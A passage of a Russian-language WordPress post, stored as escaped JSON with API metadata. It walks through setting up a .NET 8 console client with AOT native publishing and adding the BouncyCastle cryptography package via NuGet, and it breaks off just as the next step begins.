\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0447\u0430\u0441\u0442\u044c.<\/p>\n<figure class=\"\">\n<div><figcaption>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043a\u043e\u043d\u0441\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u043e\u043a\u043d\u0435 \u0432\u044b\u0431\u0435\u0440\u0435\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <strong>\u00ab\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e AOT native\u00bb<\/strong>:<\/p>\n<figure class=\"\">\n<div><figcaption>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 <strong>AOT<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 client.csproj \u0431\u0443\u0434\u0443\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b:<\/p>\n<pre><code class=\"xml\">&lt;Project Sdk=\"Microsoft.NET.Sdk\"&gt; &lt;PropertyGroup&gt; &lt;OutputType&gt;Exe&lt;\/OutputType&gt; &lt;TargetFramework&gt;net8.0&lt;\/TargetFramework&gt; &lt;ImplicitUsings&gt;enable&lt;\/ImplicitUsings&gt; &lt;Nullable&gt;enable&lt;\/Nullable&gt; &lt;PublishAot&gt;true&lt;\/PublishAot&gt; &lt;InvariantGlobalization&gt;true&lt;\/InvariantGlobalization&gt; &lt;\/PropertyGroup&gt; &lt;\/Project&gt; <\/code><\/pre>\n<p>\u0411\u0435\u0437 \u0432\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0435\u043a\u0442\u0430 client.csproj \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"xml\">&lt;Project Sdk=\"Microsoft.NET.Sdk\"&gt; &lt;PropertyGroup&gt; &lt;OutputType&gt;Exe&lt;\/OutputType&gt; &lt;TargetFramework&gt;net8.0&lt;\/TargetFramework&gt; &lt;ImplicitUsings&gt;enable&lt;\/ImplicitUsings&gt; &lt;Nullable&gt;enable&lt;\/Nullable&gt; &lt;\/PropertyGroup&gt; &lt;\/Project&gt; <\/code><\/pre>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0414\u043b\u044f \u044f\u0432\u043d\u043e\u0433\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u044d\u0442\u043e\u0433\u043e \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>&lt;DebugType&gt;full&lt;\/DebugType&gt;<\/code>.<br \/> \u0414\u0430\u043b\u0435\u0435 \u043a \u043d\u0430\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0435\u043a\u0442\u0443 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <a href=\"https:\/\/www.nuget.org\/packages\/BouncyCastle.Cryptography\" rel=\"noopener noreferrer nofollow\">BouncyCastle<\/a> \u0432\u0435\u0440\u0441\u0438\u0438 2.4.0 \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u043a\u0435\u0442\u043d\u044b\u0439 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 <strong>NuGet<\/strong>:<\/p>\n<pre><code>dotnet add package BouncyCastle.Cryptography --version 2.4.0 <\/code><\/pre>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-466569","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/466569","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=466569"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/466569\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=466569"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=466569"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=466569"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}